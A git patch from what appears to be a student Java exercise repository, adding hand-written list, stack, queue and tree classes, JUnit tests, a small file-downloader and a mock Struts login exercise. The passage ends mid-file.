diff --git a/group23/769232552/coding/src/main/java/code03/api/Connection.java b/group23/769232552/coding/src/main/java/code03/api/Connection.java
new file mode 100644
index 0000000000..1f2e4e1d39
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/Connection.java
@@ -0,0 +1,23 @@
+package code03.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
new file mode 100644
index 0000000000..77e886e987
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/ConnectionException.java
@@ -0,0 +1,9 @@
+package code03.api;
+
+public class ConnectionException extends Exception {
+
+    public ConnectionException(String message,Throwable e){
+        super(message,e);
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
new file mode 100644
index 0000000000..4cbd46445a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package code03.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
new file mode 100644
index 0000000000..f5e7e146a7
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package code03.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..069f21625b
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/impl/ConnectionImpl.java
@@ -0,0 +1,107 @@
+package code03.impl;
+
+import code03.api.Connection;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URLConnection;
+
+
+public class ConnectionImpl implements Connection{
+
+	private static final Logger logger = LoggerFactory.getLogger(ConnectionImpl.class);
+
+
+	private URLConnection urlConnection;
+	private int length = -1;
+
+	public ConnectionImpl(URLConnection urlConnection){
+		this.urlConnection  = urlConnection;
+	}
+
+	/**
+	 * 读取urlConnection.getInputStream()中的数据，返回byte[]
+	 */
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		int contentLength = getContentLength();
+		if(startPos < 0 || endPos > contentLength || contentLength <= 0){
+			logger.info("index out of range !");
+			return null;
+		}
+
+		InputStream raw = null;
+		BufferedInputStream in = null;
+		int size = endPos - startPos + 1;
+
+		byte[] data = new byte[size];
+		try{
+			raw = urlConnection.getInputStream();
+			in = new BufferedInputStream(raw);
+			in.skip(startPos);
+
+			int offset = 0;
+			while(offset < size){
+				int bytesRead = in.read(data, offset, size - offset);
+				while (bytesRead  == -1){break;}
+				offset += bytesRead;
+			}
+		} catch (IOException e) {
+			e.printStackTrace();
+		}finally {
+			raw.close();
+			in.close();
+		}
+		return data;
+	}
+
+	@Override
+	public int getContentLength() {
+		if(length != -1){
+			return length;
+		}
+		length = urlConnection.getContentLength();
+
+		//if without content-length header
+		if(length == -1) {
+			int offset = 0;
+			InputStream raws = null;
+			BufferedInputStream ins = null;
+			try {
+				raws = urlConnection.getInputStream();
+				ins = new BufferedInputStream(raws);
+
+				int max_size = 1024 * 1024;//1M
+				byte[] data = new byte[max_size];
+
+				int bytesRead = 0;
+				while (bytesRead != -1) {
+					ins.read(data, offset, max_size - offset);
+					offset += bytesRead;
+				}
+			} catch (IOException e) {
+				e.printStackTrace();
+			} finally {
+				try {
+					raws.close();
+					ins.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			length = offset;
+		}
+		return length;
+	}
+
+	@Override
+	public void close() {
+		if(urlConnection != null){
+			urlConnection = null;
+		}
+	}
+
+}
diff --git a/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..5078c7608c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/impl/ConnectionManagerImpl.java
@@ -0,0 +1,36 @@
+package code03.impl;
+
+import code03.api.Connection;
+import code03.api.ConnectionException;
+import code03.api.ConnectionManager;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+/**
+ * 获取Connection实例
+ */
+
+public class ConnectionManagerImpl implements ConnectionManager {
+	private static final Logger logger = LoggerFactory.getLogger(ConnectionManagerImpl.class);
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = null;
+		try {
+			URL _url = new URL(url);
+			URLConnection urlConnection = _url.openConnection();
+			connection = new ConnectionImpl(urlConnection);
+		} catch (MalformedURLException e) {
+			logger.error("url {} format error",url);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/code01/ArrayListTest.java b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
new file mode 100644
index 0000000000..2bfd7f52e1
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/ArrayListTest.java
@@ -0,0 +1,67 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class ArrayListTest {
+    ArrayList arrayList;
+    @Before
+    public void setUp(){
+        arrayList = new ArrayList();
+    }
+
+    @Test
+    public void testAdd() throws Exception {
+
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            arrayList.add(str);
+        }
+
+        // size()
+        Assert.assertEquals(array.length,arrayList.size());
+
+        //add(),get()
+        for (int i = 0; i < arrayList.size(); i++){
+            Assert.assertEquals(array[i],arrayList.get(i));
+        }
+    }
+
+    @Test
+    public void testAddWithIndex() throws Exception {
+        ArrayList arrayList2 = new ArrayList(3);//自动扩容
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (int i = 0; i < array.length; i++){
+            arrayList2.add(i,array[i]);
+        }
+        //add(),get()
+        for (int i = 0; i < arrayList2.size(); i++){
+            Assert.assertEquals(array[i],arrayList2.get(i));
+        }
+        arrayList2.add(3,"new");
+        Assert.assertEquals("new",arrayList2.get(3));
+
+
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            arrayList.add(str);
+        }
+        arrayList.remove(0);
+        arrayList.remove(0);
+
+
+        for (int i = 0; i < arrayList.size(); i++) {
+            Assert.assertEquals(array[i+2],arrayList.get(i));
+        }
+
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
new file mode 100644
index 0000000000..8c1f4e8e09
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/BinaryTreeTest.java
@@ -0,0 +1,27 @@
+package code01;
+
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/10.
+ */
+public class BinaryTreeTest {
+
+    @Test
+    public void testCreateBinaryTree(){
+
+        BinaryTree<Integer> binaryTree1 = new BinaryTree<Integer>();
+        BinaryTree<Integer> binaryTree2 = new BinaryTree<Integer>();
+        Integer[] array1 = new Integer[]{3,4,1,2,5};
+        Integer[] array2 = new Integer[]{3,1,4,5,2};
+        binaryTree1.createBinaryTree(array1);
+        binaryTree2.createBinaryTree(array2);
+        binaryTree1.leftOrderScan(binaryTree1.getRoot());
+        binaryTree2.leftOrderScan(binaryTree2.getRoot());
+    }
+
+    @Test
+    public void testInsert(){
+        BinaryTree<Integer> binaryTree3 = new BinaryTree<Integer>();
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/LinkedListTest.java b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
new file mode 100644
index 0000000000..5481783932
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/LinkedListTest.java
@@ -0,0 +1,174 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class LinkedListTest {
+
+    @Test
+    public void testAdd() throws Exception {
+
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        // size()
+        Assert.assertEquals(array.length,linklist.size());
+
+        //add(),get()
+        for (int i = 0; i < linklist.size(); i++){
+            Assert.assertEquals(array[i],linklist.get(i));
+        }
+
+    }
+
+    @Test
+    public void testAddWithIndex() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        //add(),get()
+        for (int i = 0; i < linklist.size(); i++){
+            Assert.assertEquals(array[i],linklist.get(i));
+        }
+
+        String str = "new";
+        linklist.add(0,str);
+        Assert.assertEquals(str,linklist.get(0));
+
+        linklist.add(3,str);
+        Assert.assertEquals(str,linklist.get(3));
+
+        linklist.add(linklist.size() ,str);
+        Assert.assertEquals(str,linklist.get(linklist.size()-1));
+    }
+
+    @Test
+    public void testRemove() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+
+        //remove(),get()
+        Assert.assertEquals(linklist.remove(0),array[0]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+
+        Assert.assertEquals(linklist.remove(linklist.size() - 1),array[array.length-1]);
+        Assert.assertEquals(linklist.size(),array.length - 2);
+
+    }
+
+    @Test
+    public void testAddFirst() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //addFirst(),get()
+        String str = "new";
+        linklist.addFirst(str);
+        Assert.assertEquals(str,linklist.get(0));
+        Assert.assertEquals(linklist.size(),array.length + 1);
+    }
+
+    @Test
+    public void testAddLast() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //addLast(),get()
+        String str = "new";
+        linklist.addLast(str);
+        Assert.assertEquals(str,linklist.get(linklist.size()-1));
+        Assert.assertEquals(linklist.size(),array.length + 1);
+    }
+
+    @Test
+    public void testRemoveFirst() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //removeFirst(),get()
+        Assert.assertEquals(linklist.removeFirst(),array[0]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+    }
+
+    @Test
+    public void testRemoveLast() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        //removeLast(),get()
+        Assert.assertEquals(linklist.removeLast(),array[array.length-1]);
+        Assert.assertEquals(linklist.size(),array.length - 1);
+
+    }
+
+    @Test
+    public void testReverse(){
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.reverse();
+        for(int i=0; i<array.length; i++){
+            Assert.assertEquals(array[array.length - i-1], linklist.get(i));
+        }
+    }
+
+    @Test
+    public void testremoveFirstHalf(){
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.removeFirstHalf();
+        for(int i=0; i<array.length/2; i++){
+            Assert.assertEquals(array[i+array.length/2], linklist.get(i));
+        }
+    }
+
+    @Test
+    public void testRemoveDuplicateValues() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","b","b","d","d","d"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.printList();
+        linklist.removeDuplicateValues();
+        linklist.printList();
+
+    }
+
+    @Test
+    public void testRemove1() throws Exception {
+        LinkedList linklist = new LinkedList();
+        String[] array = new String[]{"a","b","c","d","e","f","g"};
+        for (String str : array){
+            linklist.add(str);
+        }
+        linklist.printList();
+        linklist.remove(0,4);
+        linklist.printList();
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/QueueTest.java b/group23/769232552/coding/src/test/java/code01/QueueTest.java
new file mode 100644
index 0000000000..1390e3d3be
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/QueueTest.java
@@ -0,0 +1,24 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class QueueTest {
+
+    @Test
+    public void testQueue() throws Exception {
+        Queue queue = new Queue();
+        String[] array = new String[]{"a","b","c"};
+        for (String str : array){
+            queue.enQueue(str);
+        }
+        int i = 0;
+        while (!queue.isEmpty()){
+            Assert.assertEquals(array[i],queue.deQueue());
+            i ++;
+        }
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code01/StackTest.java b/group23/769232552/coding/src/test/java/code01/StackTest.java
new file mode 100644
index 0000000000..e4c9878d50
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code01/StackTest.java
@@ -0,0 +1,27 @@
+package code01;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+/**
+ * Created by yaoyuan on 2017/3/8.
+ */
+public class StackTest {
+
+    @Test
+    public void testStack() throws Exception {
+        Stack stack = new Stack();
+        String[] array = new String[]{"a","b","c"};
+        for (String str : array){
+            stack.push(str);
+        }
+        int i = 2;
+        while (!stack.isEmpty()){
+            Assert.assertEquals(array[i],stack.peek());
+            Assert.assertEquals(array[i],stack.pop());
+            i --;
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
new file mode 100644
index 0000000000..1277e3dab6
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code02/ArrayUtilTest.java
@@ -0,0 +1,73 @@
+package code02;
+
+import org.junit.Test;
+
+/**
+ * Created by yaoyuan on 2017/3/13.
+ */
+public class ArrayUtilTest {
+
+    @Test
+    public void testReverseArray() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.reverseArray(arr1);
+        arrayUtil.printArr(arr1);
+
+
+    }
+
+    @Test
+    public void testRemoveZero() throws Exception {
+        int[] arr1 = new int[]{1,0,2,3,0,0,4,5,6,0};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr2 = arrayUtil.removeZero(arr1);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testMerge() throws Exception {
+        int[] arr1 = new int[]{3, 5, 7, 8};
+        int[] arr2 = new int[]{4, 5, 6, 7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr3 = arrayUtil.merge(arr1,arr2);
+        arrayUtil.printArr(arr3);
+    }
+
+    @Test
+    public void testGrow() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr2 = arrayUtil.grow(arr1,3);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testFibonacci() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        int[] arr1 = arrayUtil.fibonacci(4);
+        arrayUtil.printArr(arr1);
+
+        int[] arr2 = arrayUtil.fibonacci(20);
+        arrayUtil.printArr(arr2);
+    }
+
+    @Test
+    public void testGetPrimes() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.printArr(arrayUtil.getPrimes(30));
+    }
+
+    @Test
+    public void testGetPerfectNumbers() throws Exception {
+        ArrayUtil arrayUtil = new ArrayUtil();
+        arrayUtil.printArr(arrayUtil.getPerfectNumbers(1000));
+    }
+
+    @Test
+    public void testJoin() throws Exception {
+        int[] arr1 = new int[]{1,2,3,4,5,6,7};
+        ArrayUtil arrayUtil = new ArrayUtil();
+        System.out.println(arrayUtil.join(arr1,"-"));
+    }
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..9213702251
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code02/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package code02.litestruts;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("Message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("Message"));
+	}
+}
diff --git a/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
new file mode 100644
index 0000000000..cdc58d24b3
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code03/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package code03;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import code03.api.ConnectionManager;
+import code03.api.DownloadListener;
+import code03.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://litten.me/assets/blogImg/litten.png";
+
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/810181789/src/firstday/ArrayListt.java b/group23/810181789/src/firstday/ArrayListt.java
new file mode 100644
index 0000000000..229c588f33
--- /dev/null
+++ b/group23/810181789/src/firstday/ArrayListt.java
@@ -0,0 +1,86 @@
+package firstday;
+
+import java.util.Arrays;
+
+public class ArrayListt {
+    private Object arr[]=new Object[10];
+    private int pos=0;
+    public boolean add(Object o)
+    {
+    	if(pos<arr.length)
+    	{
+    		arr[pos]=o;
+    		pos++;
+    		return true;
+    	}
+    	else if(pos>=arr.length)
+    	{
+    		arr=Arrays.copyOf(arr, arr.length+1);
+    		arr[pos] = o;
+    		pos++;
+    		return true;
+    	}
+    	return false;
+    }
+    public boolean add(Object o, int index)
+    {
+    	if(pos<arr.length)
+    	{
+    		for(int i=index;i<arr.length;i++)
+    		{
+    			arr[i+1]=arr[i];
+    		}
+    		arr[index] = o;
+    		return true;
+    	}
+    	else if(pos>=arr.length)
+    	{
+    		arr=Arrays.copyOf(arr, arr.length+1);
+    		for(int i=arr.length-2;i>=index;i--)
+    		{
+    			arr[i+1] = arr[i];
+    		}
+    		arr[index] = o;
+    		return true; 
+    	}
+    	return false;
+    }
+    public Object get(int i)
+    {
+    	Object o = arr[i];
+    	return o;
+    }
+    public Object remove(int index)
+    {
+    	Object var=arr[index];
+    	for(int i=index+1;i<arr.length;i++)
+    	{
+    		arr[i-1]=arr[i];
+    	}
+    	pos--;
+    	return var;
+    }
+    public int size()
+    {
+    	return pos;
+    }
+    public static void main(String[] args)
+    {
+    	ArrayListt atest = new ArrayListt();
+    	for(int i=0;i<10;i++)
+    	{
+    		atest.add(i);
+    	}
+    	atest.add(99,7);
+    	for(int i=0;i<atest.arr.length;i++)
+    	{
+    		System.out.println(atest.get(i));
+    	}
+    	atest.remove(1);
+    	for(int i=0;i<atest.arr.length;i++)
+    	{
+    		System.out.println(atest.get(i));
+    	}
+    	atest.size();
+    }
+}
diff --git a/group23/810181789/src/firstday/LinkListt.java b/group23/810181789/src/firstday/LinkListt.java
new file mode 100644
index 0000000000..6eee6eae2d
--- /dev/null
+++ b/group23/810181789/src/firstday/LinkListt.java
@@ -0,0 +1,167 @@
+package firstday;
+
+import firstday.LinkListt;
+//import firstday.LinkListt.Node;
+
+public class LinkListt {
+  private static class Node
+  {
+	  private Object date=null;
+	  private Node next=null;
+	  public Node(Object o)
+	  {
+		  this.date=o;
+	  }
+  }
+   public Node head=null;
+   public void add(Object o)
+   {
+	   Node nde=new Node(o);
+	   if(head == null)
+	   {
+		   head=nde;
+	   }
+	   else
+	   {
+		   Node order=head;
+		   while(true)
+		   {
+			   if(order.next==null)
+			   {
+				   order.next=nde;
+				   break;
+			   }
+			   order=order.next;
+		   }
+	   }
+   }
+   public void add(int index,Object o)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(cnt==index-1)
+		   {
+			   Node no=new Node(o);
+			   no.next=n.next;
+			   n.next=no;
+			   break;
+		   }
+		   n=n.next;
+		   cnt++;
+	   }
+   }
+   public Object get(int index)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(cnt==index)
+		   {
+			   return n.date;
+		   }
+		   n=n.next;
+		   cnt++;
+	   }
+   }
+   public Object remove(int index)
+   {
+	   int cnt=1;
+	   Node n=head;
+	   Node front=null;
+	   Object re=null;
+	   while(true)
+	   {
+		   if(cnt==index-1)
+		   {
+			   front=n;
+		   }
+		   if(cnt==index)
+		   {
+			   front.next=n.next;
+			   n.next=null;
+			   re=n.date;
+			   n=null;
+			   return re;
+		   }
+		   cnt++;
+		   n=n.next;
+	   }
+   }
+   public int size()
+   {
+	   int cnt=1;
+	   Node n=head;
+	   while(true)
+	   {
+		   if(n.next==null)
+		   {
+			   return cnt;
+		   }
+		   cnt++;
+		   n=n.next;
+	   }
+   }
+   public void addFirst(Object o)
+   {
+	   Node n=new Node(o);
+	   n.next=head;
+	   head=n;
+   }
+   public Object removeFirst()
+   {
+	   Object re;
+	   Node n=head;
+	   head=n.next;
+	   n.next=null;
+	   re=n.date;
+	   n=null;
+	   return re;
+   }
+   public Object removeLast()
+   {
+	   Node n=head;
+	   Node front=null;
+	   Object re=null;
+	   while(true)
+	   {
+		   if(n.next==null)
+		   {
+			   re=n.date;
+			   front.next=null;
+			   n=null;
+			   return re;
+		   }
+		   front=n;
+		   n=n.next;
+	   }
+   }
+   public static void main(String[] args)
+   {
+	   LinkListt l=new LinkListt();
+	   for(int i=0;i<5;i++)
+	   {
+		   l.add(i);
+	   }
+	   l.add(3,8);
+	   for(int i=1;i<=6;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   //System.out.println(l.size());
+	   l.addFirst(99);
+	   for(int i=1;i<=7;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   l.removeFirst();
+	   for(int i=1;i<=6;i++)
+	   {
+		   System.out.println(l.get(i));
+	   }
+	   System.out.println(l.size());
+   }
+}
+
diff --git a/group23/810181789/src/firstday/Queue.java b/group23/810181789/src/firstday/Queue.java
new file mode 100644
index 0000000000..807911f3f3
--- /dev/null
+++ b/group23/810181789/src/firstday/Queue.java
@@ -0,0 +1,43 @@
+package firstday;
+import firstday.LinkListt;
+public class Queue {
+    private LinkListt l=new LinkListt();
+    public Object deQueue()
+    {
+    	return l.removeFirst();
+    }
+    public void enQueue(Object o)
+    {
+    	l.add(o);
+    }
+    public boolean isEmpty()
+    {
+    	if(l.head==null)
+    	{
+    		return true;
+    	}
+    	else
+    	{
+    		return false;
+    	}
+    }
+    public int size()
+    {
+    	return l.size();
+    }
+    public static void main(String[] args)
+    {
+    	Queue q=new Queue();
+    	for(int i=0;i<4;i++)
+    	{
+    		q.enQueue(i);
+    	}
+    	System.out.println(q.size());
+    	for(int i=0;i<4;i++)
+    	{
+    		System.out.println(q.deQueue());
+    	}
+    	System.out.println(q.size());
+    	//System.out.println(q.isEmpty());
+    }
+}
diff --git a/group23/810181789/src/firstday/Stack.java b/group23/810181789/src/firstday/Stack.java
new file mode 100644
index 0000000000..abe43a4cac
--- /dev/null
+++ b/group23/810181789/src/firstday/Stack.java
@@ -0,0 +1,43 @@
+package firstday;
+import firstday.ArrayListt;
+public class Stack {
+     private ArrayListt a=new ArrayListt();
+     public Object peek()
+     {
+    	 return a.get(a.size()-1);
+     }
+     public Object pop()
+     {
+    	 return a.remove(a.size()-1);
+     }
+     public void push(Object o)
+     {
+    	 a.add(o);
+     }
+     public boolean isEmpty()
+     {
+    	 if(a.size()==0)
+    	 {
+    		 return true;
+    	 }
+    	 else
+    	 {
+    		 return false;
+    	 }
+     }
+     public int size()
+     {
+    	 return a.size();
+     }
+     public static void main(String[] args)
+     {
+    	 Stack s=new Stack();
+    	 for(int i=0;i<4;i++)
+    	 {
+    		 s.push(i);
+    	 }
+    	 s.pop();
+    	 System.out.println(s.peek());
+    	 System.out.println(s.size());
+     }
+}
diff --git a/group23/group23.md b/group23/group23.md
new file mode 100644
index 0000000000..8b13789179
--- /dev/null
+++ b/group23/group23.md
@@ -0,0 +1 @@
+

From e084f0d52ca931d483f6096ddfb9162d89e41c80 Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Wed, 29 Mar 2017 00:39:41 +0800
Subject: [PATCH 027/262] 111111

---
 .../com/basic/datastructure/ArrayList.java    |   2 -
 .../basic/week2/litestruts/LoginAction.java   |  39 ++
 .../com/basic/week2/litestruts/Struts.java    |  35 ++
 .../basic/week2/litestruts/StrutsTest.java    |  43 ++
 .../com/basic/week2/litestruts/View.java      |  24 +
 .../basic/week3/datastructure/LinkedList.java | 440 ++++++++++++++++++
 6 files changed, 581 insertions(+), 2 deletions(-)
 create mode 100644 group23/632678665/com/basic/week2/litestruts/LoginAction.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/Struts.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/StrutsTest.java
 create mode 100644 group23/632678665/com/basic/week2/litestruts/View.java
 create mode 100644 group23/632678665/com/basic/week3/datastructure/LinkedList.java

diff --git a/group23/632678665/com/basic/datastructure/ArrayList.java b/group23/632678665/com/basic/datastructure/ArrayList.java
index 35fb185737..7669e8fba0 100644
--- a/group23/632678665/com/basic/datastructure/ArrayList.java
+++ b/group23/632678665/com/basic/datastructure/ArrayList.java
@@ -2,7 +2,6 @@
 
 import java.util.Arrays;
 
-import org.junit.Test;
 
 public class ArrayList implements List{
 	private Object [] array =new Object [15];
@@ -60,5 +59,4 @@ public int size() {
 		Object [] newArray;
 		return newArray=Arrays.copyOf(o, (int) (o.length*1.5));
 	}
-	
 }
diff --git a/group23/632678665/com/basic/week2/litestruts/LoginAction.java b/group23/632678665/com/basic/week2/litestruts/LoginAction.java
new file mode 100644
index 0000000000..80133805ac
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.basic.week2.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/Struts.java b/group23/632678665/com/basic/week2/litestruts/Struts.java
new file mode 100644
index 0000000000..0b1a7c03f0
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/Struts.java
@@ -0,0 +1,35 @@
+package com.basic.week2.litestruts;
+
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
